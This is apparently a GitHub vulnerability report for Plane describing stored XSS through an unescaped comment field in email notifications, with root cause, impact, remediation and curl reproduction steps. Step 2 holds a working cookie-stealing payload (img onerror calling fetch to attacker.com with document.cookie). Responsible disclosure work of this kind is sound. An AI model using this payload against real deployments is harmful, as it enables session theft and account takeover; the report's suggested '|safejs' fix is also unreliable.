Skip to content

[bug]: CVE PoC: Plane — Stored XSS via Comment actor_comment|safe in Email Notification #9218

@k1lluax

Description

@k1lluax

Is there an existing issue for this?

  • I have searched the existing issues

Current behavior

CVE Candidate

Vulnerability Type: Stored Cross-Site Scripting (XSS) via Email Template
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS v3.1: Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H8.8 (HIGH)


Affected Product

  • Product: Plane (self-hosted)
  • Affected Component: POST /api/v1/workspaces/<slug>/projects/<id>/comments/ (comment creation)
  • Email Template: apps/api/templates/emails/notifications/issue-updates.html (line ~213)
  • Versions Affected: All versions (unpatched at time of discovery)

Vulnerability Description

When a comment is created on an issue, the comment_html field is stored as raw HTML
(unsanitized) and is later rendered in the issue-update email notification using Django's
| safe filter at apps/api/templates/emails/notifications/issue-updates.html:213:

{{ actor_comment|safe }}

The | safe filter explicitly disables HTML escaping, causing any malicious JavaScript
payload stored in comment content to execute in the email client's context.


PoC Environment

  • Attacker: attacker@sectest.local (UUID: 026ebe9f-72dd-4e26-893b-dc8b2a29dcf1)
  • Victim: victim@sectest.local (UUID: ac0cc922-bc5e-41cf-9bf9-588a3ca4b76b)
  • Project: fc225cb1-3234-4a99-833e-c9acd82d67bc
  • Workspace: atk-ws-1
  • API token: plane_api_7bf29604a2564c9c86162568ce7bf9b0

Root Cause Analysis

In plane/api/templates/emails/notifications/issue-updates.html (line ~213):

<td class="comment-content">{{ actor_comment|safe }}</td>

The | safe filter tells Django's template engine "this is safe HTML, do not escape it."
But actor_comment is derived from user-controlled comment.comment_html which is stored
as raw user input without sanitization.

Fix: Use {{ actor_comment|safejs }} or render via a sanitizer:

<td class="comment-content">{{ actor_comment|striptags }}</td>

Or use a whitelist-based HTML sanitizer (e.g., bleach) to sanitize comment_html
before storing it.


Impact

  • Confidentiality: HIGH — cookie/session exfiltration via JavaScript execution
  • Integrity: HIGH — attacker can modify page content
  • Availability: HIGH — persistent denial of service
  • Attack Complexity: LOW — simple stored XSS
  • User Interaction: LOW — victim views issue notification email

Real-world impact:

  1. Account takeover via session cookie theft
  2. Credential harvesting via fake login forms injected into email
  3. Persistent defacement of email content
  4. Phishing campaigns using Plane's trusted domain

Remediation

  1. Sanitize comment HTML on input using bleach or DOMPurify before storing
  2. Remove | safe filter from email templates — always escape user content
  3. Use | striptags if plain text rendering is acceptable
  4. Implement CSP headers to prevent inline script execution in webmail clients

Timeline

  • Discovery Date: 2026-06-05
  • Vendor Notification: Pending

References

Steps to reproduce

Step 1 — Create Issue (victim's project) to get issue ID

curl -s "http://localhost:18000/api/v1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/issues/" \
  -H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0"

Save the first issue id.


Step 2 — Post a Comment with XSS Payload

curl -X POST "http://localhost:18000/api/v1/workspaces/atk-ws-1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/comments/" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0" \
  -d '{
    "issue_id": "<issue-uuid>",
    "comment_html": "<img src=x onerror=\"fetch('\''http://attacker.com/log?c='\''+document.cookie)\''\">"
  }'

Expected: HTTP 201 Created — payload stored as raw HTML.


Step 3 — Verify Stored Payload is Returned as Raw HTML

curl -s "http://localhost:18000/api/v1/workspaces/atk-ws-1/projects/fc225cb1-3234-4a99-833e-c9acd82d67bc/comments/" \
  -H "X-API-Key: plane_api_7bf29604a2564c9c86162568ce7bf9b0"

Response includes raw HTML — no sanitization applied:

{
  "comment_html": "<img src=x onerror=\"fetch('http://attacker.com/log?c='+document.cookie)\">"
}

Step 4 — Trigger Email Notification (requires SMTP configured)

When the issue receives an update (comment added), Plane sends email to project members.
The email template renders {{ actor_comment|safe }} — the | safe filter causes
the comment HTML to be rendered unescaped in the email body.

In email clients that execute JavaScript (e.g., some webmail clients with HTML rendering),
the onerror handler fires and exfiltrates the victim's cookies/session to the attacker's server.


Environment

Production

Browser

Google Chrome

Variant

Local

Version

Latest version

Metadata

Metadata

Assignees

Labels

planesync issues to Plane🐛bugSomething isn't working

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions